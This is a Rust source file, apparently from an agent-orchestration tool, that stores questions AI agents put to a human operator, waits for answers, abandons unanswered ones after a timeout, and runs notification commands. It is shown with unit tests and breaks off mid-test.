1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41
42pub const SCHEMA: u32 = 2;
57
58const POLL: Duration = Duration::from_secs(3);
67
68const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
79
80const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
86
87pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
98
99pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
108
109const PANEL_DIR: &str = ".panel";
115
116const PANEL_HTML: &str = "index.html";
118
119const PANEL_TMP: &str = ".panel.tmp";
121
122pub fn valid_asset_name(name: &str) -> bool {
139 if name.is_empty() || name.len() > 64 || name.contains("..") {
140 return false;
141 }
142 let mut chars = name.chars();
143 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
144 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
145}
146
147#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
149#[serde(rename_all = "lowercase")]
150pub enum QuestionStatus {
151 Open,
153 Answered,
155 Abandoned,
159}
160
161impl QuestionStatus {
162 pub fn open(self) -> bool {
164 matches!(self, Self::Open)
165 }
166
167 pub fn as_str(self) -> &'static str {
169 match self {
170 Self::Open => "open",
171 Self::Answered => "answered",
172 Self::Abandoned => "abandoned",
173 }
174 }
175}
176
177#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
184#[serde(rename_all = "lowercase")]
185pub enum Answer {
186 Choice(String),
188 Text(String),
190}
191
192#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
203#[serde(rename_all = "lowercase")]
204pub enum Who {
205 Operator,
207 Agent,
210}
211
212#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
220#[serde(deny_unknown_fields)]
221pub struct Turn {
222 pub who: Who,
224 pub body: String,
226 pub at: Timestamp,
228}
229
230#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
232#[serde(deny_unknown_fields)]
233pub struct Question {
234 pub schema: u32,
236 pub id: String,
239 pub run: String,
241 pub node: String,
243 pub seat: String,
246 pub summary: String,
249 pub detail: String,
252 pub choices: Vec<String>,
256 #[serde(default)]
263 pub panel: bool,
264 #[serde(default)]
271 pub assets: Vec<String>,
272 pub status: QuestionStatus,
274 pub asked_at: Timestamp,
276 pub answered_at: Option<Timestamp>,
278 pub answer: Option<Answer>,
280 #[serde(default)]
289 pub thread: Vec<Turn>,
290}
291
292impl Question {
293 pub fn new(
296 run: String,
297 node: String,
298 seat: String,
299 summary: String,
300 detail: String,
301 choices: Vec<String>,
302 ) -> Self {
303 Self {
304 schema: SCHEMA,
305 id: new_id(),
306 run,
307 node,
308 seat,
309 summary,
310 detail,
311 choices,
312 panel: false,
313 assets: Vec::new(),
314 status: QuestionStatus::Open,
315 asked_at: Timestamp::now(),
316 answered_at: None,
317 answer: None,
318 thread: Vec::new(),
319 }
320 }
321
322 pub fn short(&self) -> &str {
324 short(&self.id)
325 }
326
327 pub fn free_text(&self) -> bool {
329 self.choices.is_empty()
330 }
331
332 pub fn answer(&mut self, answer: Answer) -> Result<()> {
342 match self.status {
343 QuestionStatus::Answered => bail!(
344 "question {} was already answered; the run has moved on and a \
345 second answer would be a decision nobody acted on",
346 self.short()
347 ),
348 QuestionStatus::Abandoned => bail!(
349 "question {} was abandoned and the run behind it is gone",
350 self.short()
351 ),
352 QuestionStatus::Open => {}
353 }
354 let body = match &answer {
355 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
356 };
357 if body.trim().is_empty() {
358 bail!(
359 "question {} needs an answer; an empty one tells the agent \
360 nothing and it would guess anyway",
361 self.short()
362 );
363 }
364 match &answer {
365 Answer::Choice(c) if self.free_text() => bail!(
366 "question {} asks for free text, so `{c}` cannot be a choice \
367 it offered",
368 self.short()
369 ),
370 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
371 "`{c}` is not one of the choices question {} offers: {}",
372 self.short(),
373 self.choices.join(", ")
374 ),
375 Answer::Text(_) if !self.free_text() => bail!(
376 "question {} is multiple choice; answer with one of: {}",
377 self.short(),
378 self.choices.join(", ")
379 ),
380 _ => {}
381 }
382 self.answered_at = Some(Timestamp::now());
383 self.answer = Some(answer);
384 self.status = QuestionStatus::Answered;
385 Ok(())
386 }
387
388 pub fn abandon(&mut self, why: impl Into<String>) {
400 if !self.status.open() {
401 return;
402 }
403 self.status = QuestionStatus::Abandoned;
404 let why = why.into();
405 let why = why.trim();
406 if why.is_empty() {
407 return;
408 }
409 if !self.detail.is_empty() {
410 self.detail.push('\n');
411 }
412 self.detail.push_str("\n_Abandoned: ");
413 self.detail.push_str(why);
414 self.detail.push_str("._\n");
415 }
416
417 pub fn resolution(&self) -> Option<String> {
424 match (self.status, &self.answer) {
425 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
426 Some(a.clone())
427 }
428 _ => None,
429 }
430 }
431
432 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
443 match self.status {
444 QuestionStatus::Answered => bail!(
445 "question {} was already answered; there is nothing left to \
446 discuss",
447 self.short()
448 ),
449 QuestionStatus::Abandoned => bail!(
450 "question {} was abandoned and the run behind it is gone",
451 self.short()
452 ),
453 QuestionStatus::Open => {}
454 }
455 let body = body.into();
456 if body.trim().is_empty() {
457 bail!("a message to question {} cannot be empty", self.short());
458 }
459 self.thread.push(Turn {
460 who: Who::Operator,
461 body,
462 at: Timestamp::now(),
463 });
464 Ok(())
465 }
466
467 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
477 match self.status {
478 QuestionStatus::Answered => bail!(
479 "question {} was already answered; replying now would not \
480 reach anyone",
481 self.short()
482 ),
483 QuestionStatus::Abandoned => bail!(
484 "question {} was abandoned and the run behind it is gone",
485 self.short()
486 ),
487 QuestionStatus::Open => {}
488 }
489 let body = body.into();
490 if body.trim().is_empty() {
491 bail!("a reply to question {} cannot be empty", self.short());
492 }
493 self.choices = choices;
494 self.thread.push(Turn {
495 who: Who::Agent,
496 body,
497 at: Timestamp::now(),
498 });
499 Ok(())
500 }
501
502 pub fn waiting_on_agent(&self) -> bool {
511 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
512 }
513
514 fn should_notify(&self, now: Timestamp) -> bool {
522 let Some(last) = self
523 .thread
524 .iter()
525 .rev()
526 .find(|t| t.who == Who::Operator)
527 .map(|t| t.at)
528 else {
529 return true;
530 };
531 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
532 }
533}
534
535#[derive(Debug, Clone)]
537pub struct Questions {
538 root: PathBuf,
539}
540
541impl Questions {
542 pub fn open() -> Self {
544 Self::at(crate::run::home().join("questions"))
545 }
546
547 pub fn at(root: PathBuf) -> Self {
550 Self { root }
551 }
552
553 pub fn root(&self) -> &Path {
555 &self.root
556 }
557
558 pub fn path_of(&self, id: &str) -> PathBuf {
560 self.root.join(format!("{id}.json"))
561 }
562
563 pub fn panel_dir(&self, id: &str) -> PathBuf {
565 self.root.join(format!("{id}{PANEL_DIR}"))
566 }
567
568 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
592 if !valid_asset_name(&q.id) {
593 bail!(
594 "question id `{}` is not a name magi will build a panel path from",
595 q.id
596 );
597 }
598 if html.trim().is_empty() {
599 bail!(
600 "question {} was handed an empty panel; an empty frame reads to \
601 the owner as \"the agent had nothing to say\", which is a lie",
602 q.short()
603 );
604 }
605
606 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
609 for src in assets {
610 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
611 if !valid_asset_name(name) {
612 bail!(
613 "panel asset `{}` cannot be stored: a panel file name must \
614 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
615 src.display()
616 );
617 }
618 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
619 bail!(
620 "two panel assets are both named `{name}` - {} and {} - and \
621 the panel can only show one of them; rename one at the source",
622 first.display(),
623 src.display()
624 );
625 }
626 named.push((name.to_owned(), src.as_path()));
627 }
628
629 let mut total = html.len() as u64;
630 for (_, src) in &named {
631 let meta = std::fs::metadata(src)
632 .with_context(|| format!("stat panel asset {}", src.display()))?;
633 if !meta.is_file() {
634 bail!(
635 "panel asset `{}` is not a file; a panel is html plus files \
636 copied beside it",
637 src.display()
638 );
639 }
640 total = total.saturating_add(meta.len());
641 }
642 if total > PANEL_MAX_BYTES {
643 bail!(
644 "panel for question {} is {total} bytes, over magi's cap of \
645 {PANEL_MAX_BYTES} bytes; nothing was written",
646 q.short()
647 );
648 }
649
650 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
651 let dir = self.panel_dir(&q.id);
652 std::fs::create_dir_all(&self.root)
653 .with_context(|| format!("create {}", self.root.display()))?;
654 clear_dir(&tmp)?;
655 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
656 if let Err(e) = fill_panel(&tmp, html, &named) {
657 let _ = std::fs::remove_dir_all(&tmp);
660 return Err(e);
661 }
662 clear_dir(&dir)?;
663 std::fs::rename(&tmp, &dir)
664 .with_context(|| format!("move panel into {}", dir.display()))?;
665
666 q.panel = true;
667 q.assets = named.into_iter().map(|(n, _)| n).collect();
668 q.assets.sort_unstable();
669 Ok(())
670 }
671
672 pub fn panel_html(&self, id: &str) -> Option<String> {
678 if !valid_asset_name(id) {
679 return None;
680 }
681 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
682 }
683
684 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
695 if !valid_asset_name(name) {
696 bail!(
697 "`{name}` is not a panel file name; it must match \
698 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
699 );
700 }
701 if !valid_asset_name(id) {
702 return Ok(None);
703 }
704 let dir = self.panel_dir(id);
705 if !dir.is_dir() {
706 return Ok(None);
707 }
708 let path = dir.join(name);
709 match std::fs::read(&path) {
710 Ok(bytes) => Ok(Some(bytes)),
711 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
712 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
713 }
714 }
715
716 pub fn drop_panel(&self, id: &str) -> Result<()> {
725 if !valid_asset_name(id) {
726 bail!("question id `{id}` is not a name magi will build a panel path from");
727 }
728 clear_dir(&self.panel_dir(id))?;
729 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
730 }
731
732 pub fn put(&self, q: &mut Question) -> Result<()> {
736 std::fs::create_dir_all(&self.root)
737 .with_context(|| format!("create {}", self.root.display()))?;
738 let body = serde_json::to_string_pretty(q).context("serialize question")?;
739 let path = self.path_of(&q.id);
740 let tmp = path.with_extension("json.tmp");
741 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
742 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
743 Ok(())
744 }
745
746 pub fn get(&self, id: &str) -> Result<Question> {
748 let resolved = self.resolve_id(id)?;
749 read_path(&self.path_of(&resolved))
750 }
751
752 pub fn list(&self) -> Vec<Question> {
760 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
761 .into_iter()
762 .flatten()
763 .flatten()
764 .map(|e| e.path())
765 .filter(|p| p.extension().is_some_and(|x| x == "json"))
766 .filter_map(|p| read_path(&p).ok())
767 .collect();
768 all.sort_unstable_by(|a, b| {
769 let rank = |q: &Question| u8::from(!q.status.open());
770 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
771 });
772 all
773 }
774
775 pub fn open_for(&self, run: &str) -> Vec<Question> {
781 self.list()
782 .into_iter()
783 .filter(|q| q.status.open() && q.run == run)
784 .collect()
785 }
786
787 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
800 let mut abandoned = 0;
801 for mut q in self.open_for(run) {
802 q.abandon(why);
803 self.put(&mut q)?;
804 abandoned += 1;
805 }
806 Ok(abandoned)
807 }
808
809 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
812 if self.path_of(prefix).is_file() {
813 return Ok(prefix.to_owned());
814 }
815 let hits: Vec<String> = self
816 .list()
817 .into_iter()
818 .map(|q| q.id)
819 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
820 .collect();
821 match hits.len() {
822 1 => Ok(hits.into_iter().next().expect("exactly one hit")),
823 0 => bail!("no question matches `{prefix}`"),
824 _ => bail!(
825 "`{prefix}` matches {} questions: {}",
826 hits.len(),
827 hits.join(", ")
828 ),
829 }
830 }
831
832 pub fn revision(&self) -> u64 {
836 std::fs::read_dir(&self.root)
837 .into_iter()
838 .flatten()
839 .flatten()
840 .filter_map(|e| e.metadata().ok())
841 .filter_map(|m| m.modified().ok())
842 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
843 .map(|d| d.as_millis() as u64)
844 .max()
845 .unwrap_or(0)
846 }
847
848 pub fn count_open(&self) -> usize {
851 self.list().iter().filter(|q| q.status.open()).count()
852 }
853}
854
855#[derive(Debug, Clone, PartialEq, Eq)]
857pub enum Wait {
858 Answered(String),
860 Replied(String),
865 Abandoned,
870}
871
872pub async fn ask_and_wait(
877 q: &mut Question,
878 store: &Questions,
879 notify: &config::Notify,
880 timeout: Duration,
881) -> Result<Wait> {
882 wait_for_owner(q, store, notify, timeout, POLL).await
883}
884
885async fn wait_for_owner(
891 q: &mut Question,
892 store: &Questions,
893 cfg: &config::Notify,
894 timeout: Duration,
895 poll: Duration,
896) -> Result<Wait> {
897 store.put(q).context("file the question")?;
898 if q.should_notify(Timestamp::now()) {
899 if let Err(e) = notify(cfg, q).await {
900 tracing::warn!(
905 "could not notify about question {}: {e:#} - the web UI is the \
906 only surface for it now",
907 q.short()
908 );
909 }
910 }
911 tracing::info!(
912 "question {} from {} is waiting for you: {}",
913 q.short(),
914 q.seat,
915 q.summary
916 );
917
918 let starting_turns = q.thread.len();
923 let deadline = tokio::time::Instant::now() + timeout;
924 loop {
925 let now = tokio::time::Instant::now();
926 if now >= deadline {
927 q.abandon(format!(
928 "no answer within {}s of asking",
929 timeout.as_secs().max(1)
930 ));
931 store.put(q).context("record the abandoned question")?;
932 tracing::warn!(
933 "question {} went unanswered for {}s; the run parks and the \
934 question stays as the record of it",
935 q.short(),
936 timeout.as_secs()
937 );
938 return Ok(Wait::Abandoned);
939 }
940 tokio::time::sleep(poll.min(deadline - now)).await;
941 match store.get(&q.id) {
942 Ok(fresh) if !fresh.status.open() => {
943 *q = fresh;
947 return Ok(match q.resolution() {
948 Some(a) => Wait::Answered(a),
949 None => Wait::Abandoned,
952 });
953 }
954 Ok(fresh) if fresh.thread.len() > starting_turns => {
955 *q = fresh;
956 if let Some(said) = q
957 .thread
958 .iter()
959 .rev()
960 .find(|t| t.who == Who::Operator)
961 .map(|t| t.body.clone())
962 {
963 return Ok(Wait::Replied(said));
964 }
965 }
968 Ok(_) => {}
969 Err(e) => {
970 tracing::debug!("could not re-read question {}: {e:#}", q.short());
974 }
975 }
976 }
977}
978
979pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
990 let Some((program, args)) = cmd.command.split_first() else {
991 return Ok(());
993 };
994 let url = web_url();
995 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
996 tracing::warn!(
997 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
998 so the link will be empty - export it next to `magi serve` with \
999 the address `magi web --open` printed"
1000 );
1001 }
1002 let argv: Vec<String> = args.iter().map(|a| expand(a, q, &url)).collect();
1003 tracing::debug!(program = %program, args = ?argv, "notifying");
1004
1005 let mut child = tokio::process::Command::new(program);
1006 child.quiet();
1007 child
1008 .args(&argv)
1009 .stdin(std::process::Stdio::null())
1010 .kill_on_drop(true);
1013 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1014 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1015 Err(_) => bail!(
1016 "notification command `{program}` did not finish within {}s",
1017 NOTIFY_TIMEOUT.as_secs()
1018 ),
1019 };
1020 if !out.status.success() {
1021 let stderr = String::from_utf8_lossy(&out.stderr);
1022 let why = stderr
1023 .lines()
1024 .rev()
1025 .find(|l| !l.trim().is_empty())
1026 .unwrap_or("no output on stderr")
1027 .trim();
1028 bail!(
1029 "notification command `{program}` exited with {}: {why}",
1030 out.status
1031 );
1032 }
1033 Ok(())
1034}
1035
1036fn expand(template: &str, q: &Question, url: &str) -> String {
1042 let table = [
1043 ("{summary}", q.summary.as_str()),
1044 ("{run}", q.run.as_str()),
1045 ("{url}", url),
1046 ];
1047 let mut out = String::with_capacity(template.len());
1048 let mut rest = template;
1049 while let Some(at) = rest.find('{') {
1050 out.push_str(&rest[..at]);
1051 let tail = &rest[at..];
1052 match table.iter().find(|(token, _)| tail.starts_with(token)) {
1053 Some((token, value)) => {
1054 out.push_str(value);
1055 rest = &tail[token.len()..];
1056 }
1057 None => {
1058 out.push('{');
1060 rest = &tail[1..];
1061 }
1062 }
1063 }
1064 out.push_str(rest);
1065 out
1066}
1067
1068fn web_url() -> String {
1070 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1071}
1072
1073fn question_url(base: &str) -> String {
1080 let base = base.trim().trim_end_matches('/');
1081 if base.is_empty() || base.contains('#') {
1082 return base.to_owned();
1083 }
1084 format!("{base}/#/questions")
1085}
1086
1087fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1092 let index = dir.join(PANEL_HTML);
1093 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1094 for (name, src) in assets {
1095 let dst = dir.join(name);
1096 std::fs::copy(src, &dst)
1097 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1098 }
1099 Ok(())
1100}
1101
1102fn clear_dir(path: &Path) -> Result<()> {
1107 match std::fs::remove_dir_all(path) {
1108 Ok(()) => Ok(()),
1109 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1110 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1111 }
1112}
1113
1114fn read_path(path: &Path) -> Result<Question> {
1115 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1116 let q: Question =
1117 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1118 if q.schema > SCHEMA {
1119 bail!(
1124 "question {} was written by a newer magi (schema {}, this build \
1125 only speaks up to {SCHEMA})",
1126 q.id,
1127 q.schema
1128 );
1129 }
1130 Ok(q)
1131}
1132
1133fn short(id: &str) -> &str {
1134 id.split('-').next_back().unwrap_or(id)
1135}
1136
1137fn new_id() -> String {
1138 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1139 let seed = crate::rng::entropy();
1140 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1141}
1142
1143#[cfg(test)]
1144mod tests {
1145 use super::*;
1146
1147 fn store() -> (tempfile::TempDir, Questions) {
1150 let dir = tempfile::tempdir().unwrap();
1151 let s = Questions::at(dir.path().join("questions"));
1152 (dir, s)
1153 }
1154
1155 #[test]
1156 fn deleting_a_run_stops_its_questions_asking() {
1157 let (_dir, store) = store();
1158
1159 let mut open_one = choice_question();
1160 store.put(&mut open_one).unwrap();
1161 let mut answered = free_question();
1162 answered
1163 .answer(Answer::Text("keep this".to_owned()))
1164 .unwrap();
1165 store.put(&mut answered).unwrap();
1166 let mut elsewhere = choice_question();
1167 elsewhere.run = "20260903-105039-3cbf".to_owned();
1168 store.put(&mut elsewhere).unwrap();
1169
1170 let n = store
1171 .abandon_for_run(&open_one.run, "run was deleted")
1172 .unwrap();
1173 assert_eq!(n, 1, "only the open question of that run");
1174
1175 let back = store.get(&open_one.id).unwrap();
1176 assert!(!back.status.open(), "it no longer asks for a decision");
1177 assert!(
1178 back.detail.contains("run was deleted"),
1179 "the operator can see why: {}",
1180 back.detail
1181 );
1182
1183 let kept = store.get(&answered.id).unwrap();
1184 assert_eq!(
1185 kept.status,
1186 QuestionStatus::Answered,
1187 "an answered question is a decision on record, not something to revoke"
1188 );
1189 assert!(
1190 store.get(&elsewhere.id).unwrap().status.open(),
1191 "another run's question is untouched"
1192 );
1193 assert!(store.open_for(&open_one.run).is_empty());
1194 }
1195
1196 fn choice_question() -> Question {
1197 Question::new(
1198 "20260902-201256-9fb7".to_owned(),
1199 "implement".to_owned(),
1200 "impl-A".to_owned(),
1201 "Which storage backend should the cache use?".to_owned(),
1202 "Both are already dependencies.".to_owned(),
1203 vec!["SQLite".to_owned(), "Redis".to_owned()],
1204 )
1205 }
1206
1207 fn free_question() -> Question {
1208 Question::new(
1209 "20260902-201256-9fb7".to_owned(),
1210 "review".to_owned(),
1211 "rev-1".to_owned(),
1212 "What should the error message say?".to_owned(),
1213 String::new(),
1214 Vec::new(),
1215 )
1216 }
1217
1218 fn quiet() -> config::Notify {
1220 config::Notify::default()
1221 }
1222
1223 #[test]
1224 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
1225 let mut q = choice_question();
1229 q.id = "20260902-231501-ab12".to_owned();
1230 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
1231 let keys: Vec<&str> = open
1235 .as_object()
1236 .unwrap()
1237 .keys()
1238 .map(String::as_str)
1239 .collect();
1240 assert_eq!(
1241 keys,
1242 [
1243 "answer",
1244 "answered_at",
1245 "asked_at",
1246 "assets",
1247 "choices",
1248 "detail",
1249 "id",
1250 "node",
1251 "panel",
1252 "run",
1253 "schema",
1254 "seat",
1255 "status",
1256 "summary",
1257 "thread",
1258 ],
1259 "the on-disk field set is a contract with the front end"
1260 );
1261 assert_eq!(open["schema"], 2);
1262 assert_eq!(open["thread"], serde_json::json!([]));
1263 assert_eq!(open["id"], "20260902-231501-ab12");
1264 assert_eq!(open["run"], "20260902-201256-9fb7");
1265 assert_eq!(open["node"], "implement");
1266 assert_eq!(open["seat"], "impl-A");
1267 assert_eq!(open["status"], "open");
1268 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
1269 assert_eq!(open["answered_at"], serde_json::Value::Null);
1270 assert_eq!(open["answer"], serde_json::Value::Null);
1271 let asked = open["asked_at"].as_str().unwrap();
1272 assert!(
1273 asked.ends_with('Z') && asked.contains('T'),
1274 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
1275 );
1276
1277 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1279 let answered = serde_json::to_value(&q).unwrap();
1280 assert_eq!(answered["status"], "answered");
1281 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
1282 assert!(answered["answered_at"].is_string());
1283
1284 let mut free = free_question();
1286 free.answer(Answer::Text("Say which file it was".to_owned()))
1287 .unwrap();
1288 assert_eq!(
1289 serde_json::to_value(&free).unwrap()["answer"],
1290 serde_json::json!({"text": "Say which file it was"})
1291 );
1292
1293 let body = serde_json::to_string(&q).unwrap();
1295 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
1296 }
1297
1298 #[test]
1299 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
1300 let mut unoffered = choice_question();
1303 let a = unoffered
1304 .answer(Answer::Choice("Postgres".to_owned()))
1305 .unwrap_err()
1306 .to_string();
1307
1308 let mut typed = choice_question();
1309 let b = typed
1310 .answer(Answer::Text("use Postgres".to_owned()))
1311 .unwrap_err()
1312 .to_string();
1313
1314 let mut blank = free_question();
1315 let c = blank
1316 .answer(Answer::Text(" \n".to_owned()))
1317 .unwrap_err()
1318 .to_string();
1319
1320 let mut twice = choice_question();
1321 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1322 let d = twice
1323 .answer(Answer::Choice("Redis".to_owned()))
1324 .unwrap_err()
1325 .to_string();
1326
1327 assert!(a.contains("not one of the choices"), "{a}");
1328 assert!(b.contains("multiple choice"), "{b}");
1329 assert!(c.contains("empty"), "{c}");
1330 assert!(d.contains("already answered"), "{d}");
1331 let mut distinct = vec![a, b, c, d];
1332 let asked = distinct.len();
1333 distinct.sort_unstable();
1334 distinct.dedup();
1335 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
1336
1337 assert_eq!(unoffered.status, QuestionStatus::Open);
1339 assert_eq!(typed.status, QuestionStatus::Open);
1340 assert_eq!(blank.status, QuestionStatus::Open);
1341 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
1343
1344 let mut free = free_question();
1346 let e = free
1347 .answer(Answer::Choice("SQLite".to_owned()))
1348 .unwrap_err()
1349 .to_string();
1350 assert!(e.contains("free text"), "{e}");
1351 }
1352
1353 #[test]
1354 fn open_questions_are_listed_before_answered_ones() {
1355 let (_dir, s) = store();
1356 let mut old_open = choice_question();
1359 old_open.id = "20260101-000001-aaaa".to_owned();
1360 let mut new_open = choice_question();
1361 new_open.id = "20260101-000002-bbbb".to_owned();
1362 let mut answered = choice_question();
1363 answered.id = "20260101-000003-cccc".to_owned();
1364 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
1365 for q in [&mut old_open, &mut new_open, &mut answered] {
1366 s.put(q).unwrap();
1367 }
1368
1369 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
1370 assert_eq!(
1371 ids,
1372 [
1373 "20260101-000002-bbbb",
1374 "20260101-000001-aaaa",
1375 "20260101-000003-cccc"
1376 ],
1377 "what has stopped work comes first; history sorts underneath"
1378 );
1379 assert_eq!(s.count_open(), 2);
1380 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
1381 assert!(s.open_for("some-other-run").is_empty());
1382 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
1384 assert!(s.get("20260101-000002-bbbb").is_ok());
1385 assert!(s.resolve_id("nope").is_err());
1386 assert!(
1387 s.revision() > 0,
1388 "the store's mtime drives the phone's polling"
1389 );
1390 }
1391
1392 #[test]
1393 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
1394 let (_dir, s) = store();
1395 let mut good = choice_question();
1396 s.put(&mut good).unwrap();
1397 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
1399 let future = serde_json::json!({
1400 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
1401 "seat": "s", "summary": "?", "detail": "", "choices": [],
1402 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
1403 "answered_at": null, "answer": null,
1404 });
1405 std::fs::write(
1406 s.path_of("20260101-000010-beef"),
1407 serde_json::to_string(&future).unwrap(),
1408 )
1409 .unwrap();
1410
1411 let listed = s.list();
1412 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
1413 assert_eq!(listed[0].id, good.id);
1414 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
1416 assert!(e.contains("schema"), "{e}");
1417 }
1418
1419 #[tokio::test]
1420 async fn the_wait_returns_the_answer_another_process_wrote() {
1421 let (dir, s) = store();
1426 let mut q = choice_question();
1427 let id = q.id.clone();
1428 let writer = Questions::at(dir.path().join("questions"));
1429 let handle = tokio::spawn(async move {
1430 tokio::time::sleep(Duration::from_millis(30)).await;
1431 let mut fresh = writer.get(&id).expect("the question was filed first");
1432 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1433 writer.put(&mut fresh).unwrap();
1434 });
1435
1436 let got = wait_for_owner(
1437 &mut q,
1438 &s,
1439 &quiet(),
1440 Duration::from_secs(5),
1441 Duration::from_millis(10),
1442 )
1443 .await
1444 .unwrap();
1445
1446 handle.await.unwrap();
1447 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
1448 assert_eq!(
1449 q.status,
1450 QuestionStatus::Answered,
1451 "the caller's copy is refreshed from the answering process's record"
1452 );
1453 assert!(q.answered_at.is_some());
1454 }
1455
1456 #[tokio::test]
1457 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
1458 let (_dir, s) = store();
1459 let mut q = choice_question();
1460
1461 let got = wait_for_owner(
1462 &mut q,
1463 &s,
1464 &quiet(),
1465 Duration::from_millis(60),
1466 Duration::from_millis(10),
1467 )
1468 .await
1469 .unwrap();
1470
1471 assert_eq!(
1472 got,
1473 Wait::Abandoned,
1474 "a slow human is not an error; the run parks"
1475 );
1476 assert_eq!(q.status, QuestionStatus::Abandoned);
1477 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
1478 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
1479 assert!(
1480 on_disk.detail.contains("Abandoned:"),
1481 "why nobody answered belongs with the question: {}",
1482 on_disk.detail
1483 );
1484 assert!(on_disk.resolution().is_none());
1485 assert_eq!(s.count_open(), 0);
1486 }
1487
1488 #[tokio::test]
1489 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
1490 let (dir, s) = store();
1494 let broken = config::Notify {
1495 command: vec![
1496 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
1497 "{summary}".to_owned(),
1498 ],
1499 };
1500 let mut q = choice_question();
1501 assert!(
1502 notify(&broken, &q).await.is_err(),
1503 "the caller is told; it decides that it does not matter"
1504 );
1505
1506 let id = q.id.clone();
1507 let writer = Questions::at(dir.path().join("questions"));
1508 let handle = tokio::spawn(async move {
1509 tokio::time::sleep(Duration::from_millis(30)).await;
1510 let mut fresh = writer.get(&id).unwrap();
1511 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
1512 writer.put(&mut fresh).unwrap();
1513 });
1514 let got = wait_for_owner(
1515 &mut q,
1516 &s,
1517 &broken,
1518 Duration::from_secs(5),
1519 Duration::from_millis(10),
